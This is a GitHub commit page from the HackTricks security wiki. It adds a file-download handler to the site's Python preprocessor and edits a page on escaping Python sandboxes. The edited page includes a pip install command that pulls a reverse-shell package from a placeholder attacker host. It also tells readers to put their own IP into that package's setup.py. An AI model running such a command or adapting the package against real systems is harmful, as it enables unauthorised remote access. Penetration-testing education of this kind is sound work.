Skip to content

Commit ca8ee30

Browse files
authored
Merge pull request #994 from HackTricks-wiki/support-file-downloads
support file downloads + remove some unused files
2 parents 5adab8a + f290a33 commit ca8ee30

File tree

144 files changed

+87
-68732
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

144 files changed

+87
-68732
lines changed

hacktricks-preprocessor.py

+30
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import json
2+
import os
23
import sys
34
import re
45
import logging
@@ -68,6 +69,33 @@ def ref(matchobj):
6869

6970
return result
7071

72+
def files(matchobj):
73+
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
74+
href = matchobj.groups(0)[0].strip()
75+
title = ""
76+
77+
try:
78+
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
79+
if href in files:
80+
title = href
81+
logger.debug(f'File search result: {os.path.join(root, href)}')
82+
83+
except Exception as e:
84+
logger.debug(e)
85+
logger.debug(f'Error searching file: {href}')
86+
print(f'Error searching file: {href}')
87+
sys.exit(1)
88+
89+
if title=="":
90+
logger.debug(f'Error searching file: {href}')
91+
print(f'Error searching file: {href}')
92+
sys.exit(1)
93+
94+
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
95+
96+
result = template
97+
98+
return result
7199

72100
def add_read_time(content):
73101
regex = r'(<\/style>\n# .*(?=\n))'
@@ -105,6 +133,8 @@ def iterate_chapters(sections):
105133
current_chapter = chapter
106134
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
107135
new_content = re.sub(regex, ref, chapter['content'])
136+
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
137+
new_content = re.sub(regex, files, chapter['content'])
108138
new_content = add_read_time(new_content)
109139
chapter['content'] = new_content
110140

File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

+4-8
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5-
65
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
76

87
## Command Execution Libraries
@@ -44,8 +43,7 @@ system('ls')
4443

4544
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
4645

47-
> [!CAUTION]
48-
> **Python2 input()** function allows executing python code before the program crashes.
46+
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
4947
5048
Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`
5149

@@ -87,7 +85,9 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
8785

8886
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
8987

90-
{% file src="../../../images/Reverse.tar (1).gz" %}
88+
{{#file}}
89+
Reverse.tar (1).gz
90+
{{#endfile}}
9191

9292
> [!NOTE]
9393
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
@@ -1145,8 +1145,4 @@ will be bypassed
11451145
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
11461146
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
11471147

1148-
11491148
{{#include ../../../banners/hacktricks-training.md}}
1150-
1151-
1152-
-517 KB
Binary file not shown.
Binary file not shown.
-125 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-212 KB
Binary file not shown.

src/images/Reverse.tar.gz

-1.06 KB
Binary file not shown.
-517 KB
Binary file not shown.
-517 KB
Binary file not shown.
Binary file not shown.
-125 KB
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)